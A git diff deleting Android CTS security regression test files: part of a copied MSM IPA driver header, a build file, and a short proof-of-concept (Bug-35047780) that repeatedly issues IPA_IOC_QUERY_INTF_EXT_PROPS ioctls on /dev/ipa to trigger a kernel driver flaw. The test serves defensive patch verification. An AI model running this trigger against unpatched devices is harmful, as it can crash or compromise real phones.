-};
-
-/**
- * struct ipa_ioc_tx_intf_prop - interface tx property
- * @ip: IP family of routing rule
- * @attrib: routing rule
- * @dst_pipe: routing output pipe
- * @alt_dst_pipe: alternate routing output pipe
- * @hdr_name: name of associated header if any, empty string when no header
- * @hdr_l2_type: type of associated header if any, use NONE when no header
- */
-struct ipa_ioc_tx_intf_prop {
- enum ipa_ip_type ip;
- struct ipa_rule_attrib attrib;
- enum ipa_client_type dst_pipe;
- enum ipa_client_type alt_dst_pipe;
- char hdr_name[IPA_RESOURCE_NAME_MAX];
- enum ipa_hdr_l2_type hdr_l2_type;
-};
-
-/**
- * struct ipa_ioc_query_intf_tx_props - interface tx propertie
- * @name: name of interface
- * @num_tx_props: number of TX properties
- * @tx[0]: output parameter, the tx properties go here back to back
- */
-struct ipa_ioc_query_intf_tx_props {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t num_tx_props;
- struct ipa_ioc_tx_intf_prop tx[0];
-};
-
-/**
- * struct ipa_ioc_ext_intf_prop - interface extended property
- * @ip: IP family of routing rule
- * @eq_attrib: attributes of the rule in equation form
- * @action: action field
- * @rt_tbl_idx: index of RT table referred to by filter rule
- * @mux_id: MUX_ID
- * @filter_hdl: handle of filter (as specified by provider of filter rule)
- * @is_xlat_rule: it is xlat flt rule or not
- */
-struct ipa_ioc_ext_intf_prop {
- enum ipa_ip_type ip;
- struct ipa_ipfltri_rule_eq eq_attrib;
- enum ipa_flt_action action;
- uint32_t rt_tbl_idx;
- uint8_t mux_id;
- uint32_t filter_hdl;
- uint8_t is_xlat_rule;
- uint32_t rule_id;
- uint8_t is_rule_hashable;
-};
-
-/**
- * struct ipa_ioc_query_intf_ext_props - interface ext propertie
- * @name: name of interface
- * @num_ext_props: number of EXT properties
- * @ext[0]: output parameter, the ext properties go here back to back
- */
-struct ipa_ioc_query_intf_ext_props {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t num_ext_props;
- struct ipa_ioc_ext_intf_prop ext[0];
-};
-
-/**
- * struct ipa_ioc_rx_intf_prop - interface rx property
- * @ip: IP family of filtering rule
- * @attrib: filtering rule
- * @src_pipe: input pipe
- * @hdr_l2_type: type of associated header if any, use NONE when no header
- */
-struct ipa_ioc_rx_intf_prop {
- enum ipa_ip_type ip;
- struct ipa_rule_attrib attrib;
- enum ipa_client_type src_pipe;
- enum ipa_hdr_l2_type hdr_l2_type;
-};
-
-/**
- * struct ipa_ioc_query_intf_rx_props - interface rx propertie
- * @name: name of interface
- * @num_rx_props: number of RX properties
- * @rx: output parameter, the rx properties go here back to back
- */
-struct ipa_ioc_query_intf_rx_props {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t num_rx_props;
- struct ipa_ioc_rx_intf_prop rx[0];
-};
-
-/**
- * struct ipa_ioc_nat_alloc_mem - nat table memory allocation
- * properties
- * @dev_name: input parameter, the name of table
- * @size: input parameter, size of table in bytes
- * @offset: output parameter, offset into page in case of system memory
- */
-struct ipa_ioc_nat_alloc_mem {
- char dev_name[IPA_RESOURCE_NAME_MAX];
- size_t size;
- off_t offset;
-};
-
-/**
- * struct ipa_ioc_v4_nat_init - nat table initialization
- * parameters
- * @tbl_index: input parameter, index of the table
- * @ipv4_rules_offset: input parameter, ipv4 rules address offset
- * @expn_rules_offset: input parameter, ipv4 expansion rules address offset
- * @index_offset: input parameter, index rules offset
- * @index_expn_offset: input parameter, index expansion rules offset
- * @table_entries: input parameter, ipv4 rules table size in entries
- * @expn_table_entries: input parameter, ipv4 expansion rules table size
- * @ip_addr: input parameter, public ip address
- */
-struct ipa_ioc_v4_nat_init {
- uint8_t tbl_index;
- uint32_t ipv4_rules_offset;
- uint32_t expn_rules_offset;
-
- uint32_t index_offset;
- uint32_t index_expn_offset;
-
- uint16_t table_entries;
- uint16_t expn_table_entries;
- uint32_t ip_addr;
-};
-
-/**
- * struct ipa_ioc_v4_nat_del - nat table delete parameter
- * @table_index: input parameter, index of the table
- * @public_ip_addr: input parameter, public ip address
- */
-struct ipa_ioc_v4_nat_del {
- uint8_t table_index;
- uint32_t public_ip_addr;
-};
-
-/**
- * struct ipa_ioc_nat_dma_one - nat dma command parameter
- * @table_index: input parameter, index of the table
- * @base_addr: type of table, from which the base address of the table
- * can be inferred
- * @offset: destination offset within the NAT table
- * @data: data to be written.
- */
-struct ipa_ioc_nat_dma_one {
- uint8_t table_index;
- uint8_t base_addr;
-
- uint32_t offset;
- uint16_t data;
-
-};
-
-/**
- * struct ipa_ioc_nat_dma_cmd - To hold multiple nat dma commands
- * @entries: number of dma commands in use
- * @dma: data pointer to the dma commands
- */
-struct ipa_ioc_nat_dma_cmd {
- uint8_t entries;
- struct ipa_ioc_nat_dma_one dma[0];
-
-};
-
-/**
- * struct ipa_msg_meta - Format of the message meta-data.
- * @msg_type: the type of the message
- * @rsvd: reserved bits for future use.
- * @msg_len: the length of the message in bytes
- *
- * For push model:
- * Client in user-space should issue a read on the device (/dev/ipa) with a
- * sufficiently large buffer in a continuous loop, call will block when there is
- * no message to read. Upon return, client can read the ipa_msg_meta from start
- * of buffer to find out type and length of message
- * size of buffer supplied >= (size of largest message + size of metadata)
- *
- * For pull model:
- * Client in user-space can also issue a pull msg IOCTL to device (/dev/ipa)
- * with a payload containing space for the ipa_msg_meta and the message specific
- * payload length.
- * size of buffer supplied == (len of specific message + size of metadata)
- */
-struct ipa_msg_meta {
- uint8_t msg_type;
- uint8_t rsvd;
- uint16_t msg_len;
-};
-
-/**
- * struct ipa_wlan_msg - To hold information about wlan client
- * @name: name of the wlan interface
- * @mac_addr: mac address of wlan client
- *
- * wlan drivers need to pass name of wlan iface and mac address of
- * wlan client along with ipa_wlan_event, whenever a wlan client is
- * connected/disconnected/moved to power save/come out of power save
- */
-struct ipa_wlan_msg {
- char name[IPA_RESOURCE_NAME_MAX];
- uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
-};
-
-/**
- * enum ipa_wlan_hdr_attrib_type - attribute type
- * in wlan client header
- *
- * WLAN_HDR_ATTRIB_MAC_ADDR: attrib type mac address
- * WLAN_HDR_ATTRIB_STA_ID: attrib type station id
- */
-enum ipa_wlan_hdr_attrib_type {
- WLAN_HDR_ATTRIB_MAC_ADDR,
- WLAN_HDR_ATTRIB_STA_ID
-};
-
-/**
- * struct ipa_wlan_hdr_attrib_val - header attribute value
- * @attrib_type: type of attribute
- * @offset: offset of attribute within header
- * @u.mac_addr: mac address
- * @u.sta_id: station id
- */
-struct ipa_wlan_hdr_attrib_val {
- enum ipa_wlan_hdr_attrib_type attrib_type;
- uint8_t offset;
- union {
- uint8_t mac_addr[IPA_MAC_ADDR_SIZE];
- uint8_t sta_id;
- } u;
-};
-
-/**
- * struct ipa_wlan_msg_ex - To hold information about wlan client
- * @name: name of the wlan interface
- * @num_of_attribs: number of attributes
- * @attrib_val: holds attribute values
- *
- * wlan drivers need to pass name of wlan iface and mac address
- * of wlan client or station id along with ipa_wlan_event,
- * whenever a wlan client is connected/disconnected/moved to
- * power save/come out of power save
- */
-struct ipa_wlan_msg_ex {
- char name[IPA_RESOURCE_NAME_MAX];
- uint8_t num_of_attribs;
- struct ipa_wlan_hdr_attrib_val attribs[0];
-};
-
-struct ipa_ecm_msg {
- char name[IPA_RESOURCE_NAME_MAX];
- int ifindex;
-};
-
-/**
- * struct ipa_wan_msg - To hold information about wan client
- * @name: name of the wan interface
- *
- * CnE need to pass the name of default wan iface when connected/disconnected.
- * netmgr need to pass the name of wan eMBMS iface when connected.
- */
-struct ipa_wan_msg {
- char upstream_ifname[IPA_RESOURCE_NAME_MAX];
- char tethered_ifname[IPA_RESOURCE_NAME_MAX];
- enum ipa_ip_type ip;
-};
-
-/**
- * struct ipa_ioc_rm_dependency - parameters for add/delete dependency
- * @resource_name: name of dependent resource
- * @depends_on_name: name of its dependency
- */
-struct ipa_ioc_rm_dependency {
- enum ipa_rm_resource_name resource_name;
- enum ipa_rm_resource_name depends_on_name;
-};
-
-struct ipa_ioc_generate_flt_eq {
- enum ipa_ip_type ip;
- struct ipa_rule_attrib attrib;
- struct ipa_ipfltri_rule_eq eq_attrib;
-};
-
-/**
- * struct ipa_ioc_write_qmapid - to write mux id to endpoint meta register
- * @mux_id: mux id of wan
- */
-struct ipa_ioc_write_qmapid {
- enum ipa_client_type client;
- uint8_t qmap_id;
-};
-
-enum ipacm_client_enum {
- IPACM_CLIENT_USB = 1,
- IPACM_CLIENT_WLAN,
- IPACM_CLIENT_MAX
-};
-/**
- * actual IOCTLs supported by IPA driver
- */
-#define IPA_IOC_ADD_HDR _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_HDR, \
- struct ipa_ioc_add_hdr *)
-#define IPA_IOC_DEL_HDR _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_DEL_HDR, \
- struct ipa_ioc_del_hdr *)
-#define IPA_IOC_ADD_RT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_RT_RULE, \
- struct ipa_ioc_add_rt_rule *)
-#define IPA_IOC_ADD_RT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_RT_RULE_AFTER, \
- struct ipa_ioc_add_rt_rule_after *)
-#define IPA_IOC_DEL_RT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_DEL_RT_RULE, \
- struct ipa_ioc_del_rt_rule *)
-#define IPA_IOC_ADD_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_FLT_RULE, \
- struct ipa_ioc_add_flt_rule *)
-#define IPA_IOC_ADD_FLT_RULE_AFTER _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_FLT_RULE_AFTER, \
- struct ipa_ioc_add_flt_rule_after *)
-#define IPA_IOC_DEL_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_DEL_FLT_RULE, \
- struct ipa_ioc_del_flt_rule *)
-#define IPA_IOC_COMMIT_HDR _IO(IPA_IOC_MAGIC,\
- IPA_IOCTL_COMMIT_HDR)
-#define IPA_IOC_RESET_HDR _IO(IPA_IOC_MAGIC,\
- IPA_IOCTL_RESET_HDR)
-#define IPA_IOC_COMMIT_RT _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_COMMIT_RT, \
- enum ipa_ip_type)
-#define IPA_IOC_RESET_RT _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_RESET_RT, \
- enum ipa_ip_type)
-#define IPA_IOC_COMMIT_FLT _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_COMMIT_FLT, \
- enum ipa_ip_type)
-#define IPA_IOC_RESET_FLT _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_RESET_FLT, \
- enum ipa_ip_type)
-#define IPA_IOC_DUMP _IO(IPA_IOC_MAGIC, \
- IPA_IOCTL_DUMP)
-#define IPA_IOC_GET_RT_TBL _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_GET_RT_TBL, \
- struct ipa_ioc_get_rt_tbl *)
-#define IPA_IOC_PUT_RT_TBL _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_PUT_RT_TBL, \
- uint32_t)
-#define IPA_IOC_COPY_HDR _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_COPY_HDR, \
- struct ipa_ioc_copy_hdr *)
-#define IPA_IOC_QUERY_INTF _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_INTF, \
- struct ipa_ioc_query_intf *)
-#define IPA_IOC_QUERY_INTF_TX_PROPS _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_INTF_TX_PROPS, \
- struct ipa_ioc_query_intf_tx_props *)
-#define IPA_IOC_QUERY_INTF_RX_PROPS _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_INTF_RX_PROPS, \
- struct ipa_ioc_query_intf_rx_props *)
-#define IPA_IOC_QUERY_INTF_EXT_PROPS _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_INTF_EXT_PROPS, \
- struct ipa_ioc_query_intf_ext_props *)
-#define IPA_IOC_GET_HDR _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_GET_HDR, \
- struct ipa_ioc_get_hdr *)
-#define IPA_IOC_PUT_HDR _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_PUT_HDR, \
- uint32_t)
-#define IPA_IOC_ALLOC_NAT_MEM _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ALLOC_NAT_MEM, \
- struct ipa_ioc_nat_alloc_mem *)
-#define IPA_IOC_V4_INIT_NAT _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_V4_INIT_NAT, \
- struct ipa_ioc_v4_nat_init *)
-#define IPA_IOC_NAT_DMA _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_NAT_DMA, \
- struct ipa_ioc_nat_dma_cmd *)
-#define IPA_IOC_V4_DEL_NAT _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_V4_DEL_NAT, \
- struct ipa_ioc_v4_nat_del *)
-#define IPA_IOC_GET_NAT_OFFSET _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_GET_NAT_OFFSET, \
- uint32_t *)
-#define IPA_IOC_SET_FLT _IOW(IPA_IOC_MAGIC, \
- IPA_IOCTL_SET_FLT, \
- uint32_t)
-#define IPA_IOC_PULL_MSG _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_PULL_MSG, \
- struct ipa_msg_meta *)
-#define IPA_IOC_RM_ADD_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_RM_ADD_DEPENDENCY, \
- struct ipa_ioc_rm_dependency *)
-#define IPA_IOC_RM_DEL_DEPENDENCY _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_RM_DEL_DEPENDENCY, \
- struct ipa_ioc_rm_dependency *)
-#define IPA_IOC_GENERATE_FLT_EQ _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_GENERATE_FLT_EQ, \
- struct ipa_ioc_generate_flt_eq *)
-#define IPA_IOC_QUERY_EP_MAPPING _IOR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_EP_MAPPING, \
- uint32_t)
-#define IPA_IOC_QUERY_RT_TBL_INDEX _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_QUERY_RT_TBL_INDEX, \
- struct ipa_ioc_get_rt_tbl_indx *)
-#define IPA_IOC_WRITE_QMAPID _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_WRITE_QMAPID, \
- struct ipa_ioc_write_qmapid *)
-#define IPA_IOC_MDFY_FLT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_MDFY_FLT_RULE, \
- struct ipa_ioc_mdfy_flt_rule *)
-#define IPA_IOC_MDFY_RT_RULE _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_MDFY_RT_RULE, \
- struct ipa_ioc_mdfy_rt_rule *)
-
-#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_ADD _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD, \
- struct ipa_wan_msg *)
-
-#define IPA_IOC_NOTIFY_WAN_UPSTREAM_ROUTE_DEL _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL, \
- struct ipa_wan_msg *)
-#define IPA_IOC_NOTIFY_WAN_EMBMS_CONNECTED _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED, \
- struct ipa_wan_msg *)
-#define IPA_IOC_ADD_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_ADD_HDR_PROC_CTX, \
- struct ipa_ioc_add_hdr_proc_ctx *)
-#define IPA_IOC_DEL_HDR_PROC_CTX _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_DEL_HDR_PROC_CTX, \
- struct ipa_ioc_del_hdr_proc_ctx *)
-
-#define IPA_IOC_GET_HW_VERSION _IOWR(IPA_IOC_MAGIC, \
- IPA_IOCTL_GET_HW_VERSION, \
- enum ipa_hw_type *)
-
-/*
- * unique magic number of the Tethering bridge ioctls
- */
-#define TETH_BRIDGE_IOC_MAGIC 0xCE
-
-/*
- * Ioctls supported by Tethering bridge driver
- */
-#define TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE 0
-#define TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS 1
-#define TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS 2
-#define TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES 3
-#define TETH_BRIDGE_IOCTL_MAX 4
-
-
-/**
- * enum teth_link_protocol_type - link protocol (IP / Ethernet)
- */
-enum teth_link_protocol_type {
- TETH_LINK_PROTOCOL_IP,
- TETH_LINK_PROTOCOL_ETHERNET,
- TETH_LINK_PROTOCOL_MAX,
-};
-
-/**
- * enum teth_aggr_protocol_type - Aggregation protocol (MBIM / TLP)
- */
-enum teth_aggr_protocol_type {
- TETH_AGGR_PROTOCOL_NONE,
- TETH_AGGR_PROTOCOL_MBIM,
- TETH_AGGR_PROTOCOL_TLP,
- TETH_AGGR_PROTOCOL_MAX,
-};
-
-/**
- * struct teth_aggr_params_link - Aggregation parameters for uplink/downlink
- * @aggr_prot: Aggregation protocol (MBIM / TLP)
- * @max_transfer_size_byte: Maximal size of aggregated packet in bytes.
- * Default value is 16*1024.
- * @max_datagrams: Maximal number of IP packets in an aggregated
- * packet. Default value is 16
- */
-struct teth_aggr_params_link {
- enum teth_aggr_protocol_type aggr_prot;
- uint32_t max_transfer_size_byte;
- uint32_t max_datagrams;
-};
-
-
-/**
- * struct teth_aggr_params - Aggregation parmeters
- * @ul: Uplink parameters
- * @dl: Downlink parmaeters
- */
-struct teth_aggr_params {
- struct teth_aggr_params_link ul;
- struct teth_aggr_params_link dl;
-};
-
-/**
- * struct teth_aggr_capabilities - Aggregation capabilities
- * @num_protocols: Number of protocols described in the array
- * @prot_caps[]: Array of aggregation capabilities per protocol
- */
-struct teth_aggr_capabilities {
- uint16_t num_protocols;
- struct teth_aggr_params_link prot_caps[0];
-};
-
-/**
- * struct teth_ioc_set_bridge_mode
- * @link_protocol: link protocol (IP / Ethernet)
- * @lcid: logical channel number
- */
-struct teth_ioc_set_bridge_mode {
- enum teth_link_protocol_type link_protocol;
- uint16_t lcid;
-};
-
-/**
- * struct teth_ioc_set_aggr_params
- * @aggr_params: Aggregation parmeters
- * @lcid: logical channel number
- */
-struct teth_ioc_aggr_params {
- struct teth_aggr_params aggr_params;
- uint16_t lcid;
-};
-
-
-#define TETH_BRIDGE_IOC_SET_BRIDGE_MODE _IOW(TETH_BRIDGE_IOC_MAGIC, \
- TETH_BRIDGE_IOCTL_SET_BRIDGE_MODE, \
- struct teth_ioc_set_bridge_mode *)
-#define TETH_BRIDGE_IOC_SET_AGGR_PARAMS _IOW(TETH_BRIDGE_IOC_MAGIC, \
- TETH_BRIDGE_IOCTL_SET_AGGR_PARAMS, \
- struct teth_ioc_aggr_params *)
-#define TETH_BRIDGE_IOC_GET_AGGR_PARAMS _IOR(TETH_BRIDGE_IOC_MAGIC, \
- TETH_BRIDGE_IOCTL_GET_AGGR_PARAMS, \
- struct teth_ioc_aggr_params *)
-#define TETH_BRIDGE_IOC_GET_AGGR_CAPABILITIES _IOWR(TETH_BRIDGE_IOC_MAGIC, \
- TETH_BRIDGE_IOCTL_GET_AGGR_CAPABILITIES, \
- struct teth_aggr_capabilities *)
-
-/*
- * unique magic number of the ODU bridge ioctls
- */
-#define ODU_BRIDGE_IOC_MAGIC 0xCD
-
-/*
- * Ioctls supported by ODU bridge driver
- */
-#define ODU_BRIDGE_IOCTL_SET_MODE 0
-#define ODU_BRIDGE_IOCTL_SET_LLV6_ADDR 1
-#define ODU_BRIDGE_IOCTL_MAX 2
-
-/**
- * enum odu_bridge_mode - bridge mode
- * (ROUTER MODE / BRIDGE MODE)
- */
-enum odu_bridge_mode {
- ODU_BRIDGE_MODE_ROUTER,
- ODU_BRIDGE_MODE_BRIDGE,
- ODU_BRIDGE_MODE_MAX,
-};
-
-#define ODU_BRIDGE_IOC_SET_MODE _IOW(ODU_BRIDGE_IOC_MAGIC, \
- ODU_BRIDGE_IOCTL_SET_MODE, \
- enum odu_bridge_mode)
-
-#define ODU_BRIDGE_IOC_SET_LLV6_ADDR _IOW(ODU_BRIDGE_IOC_MAGIC, \
- ODU_BRIDGE_IOCTL_SET_LLV6_ADDR, \
- struct in6_addr *)
-
-#endif /* _UAPI_MSM_IPA_H_ */
diff --git a/hostsidetests/security/securityPatch/Bug-35047780/poc.cpp b/hostsidetests/security/securityPatch/Bug-35047780/poc.cpp
deleted file mode 100644
index f036943..0000000
--- a/hostsidetests/security/securityPatch/Bug-35047780/poc.cpp
+++ /dev/null
@@ -1,65 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions
- * and limitations under the License.
- **/
-
-
-#define _GNU_SOURCE
-
-#include <pthread.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/ioctl.h>
-#include <string.h>
-#include "local_poc.h"
-#include <unistd.h>
-#include <stdio.h>
-
-struct ipa_ioc_query_intf_ext_props_2 {
- char name[IPA_RESOURCE_NAME_MAX];
- uint32_t num_ext_props;
- struct ipa_ioc_ext_intf_prop ext[23];
-};
-
-int main() {
-
- int fd = open("/dev/ipa", O_RDWR);
-
- struct ipa_ioc_query_intf query_intf;
- strlcpy(&(query_intf.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
-
- int result = ioctl(fd, IPA_IOC_QUERY_INTF, &query_intf);
-
- ipa_ioc_query_intf_ext_props_2 ext_props_2;
- memset(&ext_props_2, 0, sizeof(ext_props_2));
- strlcpy(&(ext_props_2.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
- ext_props_2.num_ext_props = 23;
-
- int result2 = ioctl(fd, IPA_IOC_QUERY_INTF_EXT_PROPS, &ext_props_2);
-
- while (true) {
- ipa_ioc_query_intf_ext_props ext_props;
- memset(&ext_props, 0, sizeof(ext_props));
- strlcpy(&(ext_props.name[0]), "rmnet_data0", IPA_RESOURCE_NAME_MAX);
- ext_props.num_ext_props = 0;
-
- int result3 = ioctl(fd, IPA_IOC_QUERY_INTF_EXT_PROPS, &ext_props);
- usleep(10000);
- }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-35048450/Android.mk b/hostsidetests/security/securityPatch/Bug-35048450/Android.mk
deleted file mode 100644
index ea9dd89..0000000
--- a/hostsidetests/security/securityPatch/Bug-35048450/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-35048450
-LOCAL_SRC_FILES := poc.cpp
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35048450/local_poc.h b/hostsidetests/security/securityPatch/Bug-35048450/local_poc.h
deleted file mode 100644
index 889018d..0000000
--- a/hostsidetests/security/securityPatch/Bug-35048450/local_poc.h
+++ /dev/null
@@ -1,1759 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
-*/
-
-#ifndef _UAPI_MSM_IPA_H_
-#define _UAPI_MSM_IPA_H_
-
-#ifndef __KERNEL__
-#include <stdint.h>
-#include <stddef.h>
-#include <sys/stat.h>
-#endif
-#include <linux/ioctl.h>
-#include <linux/types.h>
-#include <linux/if_ether.h>
-
-/**
- * unique magic number of the IPA device
- */
-#define IPA_IOC_MAGIC 0xCF
-
-/**
- * name of the default routing tables for v4 and v6
- */
-#define IPA_DFLT_RT_TBL_NAME "ipa_dflt_rt"
-
-/**
- * the commands supported by IPA driver
- */
-#define IPA_IOCTL_ADD_HDR 0
-#define IPA_IOCTL_DEL_HDR 1
-#define IPA_IOCTL_ADD_RT_RULE 2
-#define IPA_IOCTL_DEL_RT_RULE 3
-#define IPA_IOCTL_ADD_FLT_RULE 4
-#define IPA_IOCTL_DEL_FLT_RULE 5
-#define IPA_IOCTL_COMMIT_HDR 6
-#define IPA_IOCTL_RESET_HDR 7
-#define IPA_IOCTL_COMMIT_RT 8
-#define IPA_IOCTL_RESET_RT 9
-#define IPA_IOCTL_COMMIT_FLT 10
-#define IPA_IOCTL_RESET_FLT 11
-#define IPA_IOCTL_DUMP 12
-#define IPA_IOCTL_GET_RT_TBL 13
-#define IPA_IOCTL_PUT_RT_TBL 14
-#define IPA_IOCTL_COPY_HDR 15
-#define IPA_IOCTL_QUERY_INTF 16
-#define IPA_IOCTL_QUERY_INTF_TX_PROPS 17
-#define IPA_IOCTL_QUERY_INTF_RX_PROPS 18
-#define IPA_IOCTL_GET_HDR 19
-#define IPA_IOCTL_PUT_HDR 20
-#define IPA_IOCTL_SET_FLT 21
-#define IPA_IOCTL_ALLOC_NAT_MEM 22
-#define IPA_IOCTL_V4_INIT_NAT 23
-#define IPA_IOCTL_NAT_DMA 24
-#define IPA_IOCTL_V4_DEL_NAT 26
-#define IPA_IOCTL_PULL_MSG 27
-#define IPA_IOCTL_GET_NAT_OFFSET 28
-#define IPA_IOCTL_RM_ADD_DEPENDENCY 29
-#define IPA_IOCTL_RM_DEL_DEPENDENCY 30
-#define IPA_IOCTL_GENERATE_FLT_EQ 31
-#define IPA_IOCTL_QUERY_INTF_EXT_PROPS 32
-#define IPA_IOCTL_QUERY_EP_MAPPING 33
-#define IPA_IOCTL_QUERY_RT_TBL_INDEX 34
-#define IPA_IOCTL_WRITE_QMAPID 35
-#define IPA_IOCTL_MDFY_FLT_RULE 36
-#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD 37
-#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL 38
-#define IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED 39
-#define IPA_IOCTL_ADD_HDR_PROC_CTX 40
-#define IPA_IOCTL_DEL_HDR_PROC_CTX 41
-#define IPA_IOCTL_MDFY_RT_RULE 42
-#define IPA_IOCTL_ADD_RT_RULE_AFTER 43
-#define IPA_IOCTL_ADD_FLT_RULE_AFTER 44
-#define IPA_IOCTL_GET_HW_VERSION 45
-#define IPA_IOCTL_MAX 46
-
-/**
- * max size of the header to be inserted
- */
-#define IPA_HDR_MAX_SIZE 64
-
-/**
- * max size of the name of the resource (routing table, header)
- */
-#define IPA_RESOURCE_NAME_MAX 32
-
-/**
- * max number of interface properties
- */
-#define IPA_NUM_PROPS_MAX 35
-
-/**
- * size of the mac address
- */
-#define IPA_MAC_ADDR_SIZE 6
-
-/**
- * max number of mbim streams
- */
-#define IPA_MBIM_MAX_STREAM_NUM 8
-
-/**
- * the attributes of the rule (routing or filtering)
- */
-#define IPA_FLT_TOS (1ul << 0)
-#define IPA_FLT_PROTOCOL (1ul << 1)
-#define IPA_FLT_SRC_ADDR (1ul << 2)
-#define IPA_FLT_DST_ADDR (1ul << 3)
-#define IPA_FLT_SRC_PORT_RANGE (1ul << 4)
-#define IPA_FLT_DST_PORT_RANGE (1ul << 5)
-#define IPA_FLT_TYPE (1ul << 6)
-#define IPA_FLT_CODE (1ul << 7)
-#define IPA_FLT_SPI (1ul << 8)
-#define IPA_FLT_SRC_PORT (1ul << 9)
-#define IPA_FLT_DST_PORT (1ul << 10)
-#define IPA_FLT_TC (1ul << 11)
